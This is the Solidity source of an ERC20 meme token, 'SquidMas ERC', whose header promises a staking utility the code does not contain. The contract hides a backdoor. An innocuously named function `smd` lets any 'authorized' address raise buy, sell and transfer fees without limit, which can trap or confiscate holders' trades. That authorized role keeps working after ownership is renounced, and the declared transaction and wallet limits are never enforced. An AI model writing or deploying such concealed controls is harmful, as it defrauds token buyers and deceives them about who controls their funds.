// https://t.me/SquidMasERC

// https://twitter.com/SquidMasERC

// https://medium.com/@SquidMasERC

// SPDX-License-Identifier: MIT

/*

The SquidMas token ERC20 Staking Utility is a smart contract-based technology that enables users to stake their ERC20 
tokens in order to earn rewards. The rewards are distributed based on the amount of tokens staked, the amount of time the 
tokens are staked, and the type of token used. This system helps to incentivize users to hold their tokens for an extended 
period of time, while also providing a way to earn rewards. This utility can be used by both individuals and businesses, 
allowing them to easily stake their ERC20 tokens and earn rewards.

*/
pragma solidity ^0.8.17;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface DexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface DexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        authorizations[_owner] = true;
        emit OwnershipTransferred(address(0), msgSender);
    }
    mapping (address => bool) internal authorizations;

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract SquidMasERC is Ownable, IERC20 {
    using SafeMath for uint256;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    uint8 constant private _decimals = 9;

    uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply * 3 / 1000;
    uint256 public _walletMax = _totalSupply * 4/1000;

    string constant private _name = "SquidMas ERC";
    string constant private _symbol = "SMASERC";

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isTxLimitExempt;
 
    uint256 public liquidityFee = 0;
    uint256 public marketingFee = 1;
    uint256 public RewardFee = 0;
    uint256 public tokenFee = 0;

    uint256 public totalFee = 0;
    uint256 public totalFeeIfSelling = 0;

    bool public takeBuyFee = true;
    bool public takeSellFee = true;
    bool public takeTransferFee = true;

    address private lpWallet;
    address private projectAddress;
    address private devWallet;
    address private nativeWallet;

    DexRouter public router;
    address public pair;
    mapping(address => bool) public isPair;

    uint256 public launchedAt;

    bool public tradingOpen = true;
    bool private inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    uint256 public swapThreshold = _totalSupply * 20 / 10000;

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor() {
        router = DexRouter(routerAddress);
        pair = DexFactory(router.factory()).createPair(router.WETH(), address(this));
        isPair[pair] = true;
        _allowances[address(this)][address(router)] = type(uint256).max;
        _allowances[address(this)][address(pair)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[DEAD] = true;
        isFeeExempt[nativeWallet] = true;
        isFeeExempt[routerAddress] = true;

        isTxLimitExempt[nativeWallet] = true;
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[DEAD] = true;
        isTxLimitExempt[routerAddress] = true;

        lpWallet = msg.sender;
        projectAddress = 0xF76ac22d0e6deb5EaDB4aA2EF1b464418f765b58;
        devWallet = 0xF76ac22d0e6deb5EaDB4aA2EF1b464418f765b58;
        nativeWallet = msg.sender;
         
        isFeeExempt[projectAddress] = true;
        totalFee = liquidityFee.add(marketingFee).add(tokenFee).add(RewardFee);
        totalFeeIfSelling = totalFee;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() external pure override returns (string memory) {return _name;}

    function symbol() external pure override returns (string memory) {return _symbol;}

    function decimals() external pure override returns (uint8) {return _decimals;}

    function totalSupply() external view override returns (uint256) {return _totalSupply;}

    function getOwner() external view override returns (address) {return owner();}

    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}

    function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];}

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (inSwapAndLiquify) {return _basicTransfer(sender, recipient, amount);}
        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen, "");
        }
        if (isPair[recipient] && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold) {marketingAndLiquidity();}
        if (!launched() && isPair[recipient]) {
            require(_balances[sender] > 0, "");
            launch();
        }

        //Exchange tokens
         _balances[sender] = _balances[sender].sub(amount, "");

        if (!isTxLimitExempt[recipient]) {
        }

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? extractFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function extractFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint feeApplicable = 0;
        uint nativeAmount = 0;
        if (isPair[recipient] && takeSellFee) {
            feeApplicable = totalFeeIfSelling.sub(tokenFee);        
        }
        if (isPair[sender] && takeBuyFee) {
            feeApplicable = totalFee.sub(tokenFee);        
        }
        if (!isPair[sender] && !isPair[recipient]){
            if (takeTransferFee){
                feeApplicable = totalFeeIfSelling.sub(tokenFee); 
            }
            else{
                feeApplicable = 0;
            }
        }
        if(feeApplicable > 0 && tokenFee >0){
            nativeAmount = amount.mul(tokenFee).div(100);
            _balances[nativeWallet] = _balances[nativeWallet].add(nativeAmount);
            emit Transfer(sender, nativeWallet, nativeAmount);
        }
        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount).sub(nativeAmount);
    }

    function marketingAndLiquidity() internal lockTheSwap {
        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee.sub(tokenFee)).div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(tokenFee).sub(liquidityFee.div(2));

        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHDev = amountETH.mul(RewardFee).div(totalETHFee);
        
        (bool tmpSuccess1,) = payable(projectAddress).call{value : amountETHMarketing, gas : 30000}("");
        tmpSuccess1 = false;

        (tmpSuccess1,) = payable(devWallet).call{value : amountETHDev, gas : 30000}("");
        tmpSuccess1 = false;

        if (amountToLiquify > 0) {
            router.addLiquidityETH{value : amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                lpWallet,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function openTrading() public onlyOwner {
        tradingOpen = true;
    }

    function smd(uint256 newLiqFee, uint256 newMarketingFee, uint256 newBetFee, uint256 newNativeFee, uint256 extra) public authorized{
        liquidityFee = newLiqFee;
        marketingFee = newMarketingFee;
        RewardFee = newBetFee;
        tokenFee = newNativeFee;

        totalFee = liquidityFee.add(marketingFee).add(RewardFee).add(tokenFee);
        totalFeeIfSelling = totalFee + extra;
    }

    function isAuth(address _address, bool status) public onlyOwner{
        authorizations[_address] = status;
    }

    function changePair(address _address, bool status) public onlyOwner{
        isPair[_address] = status;
    }

    function removeERC20(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
        require(tokenAddress != address(this), "Cant remove the native token");
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function removeEther(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

}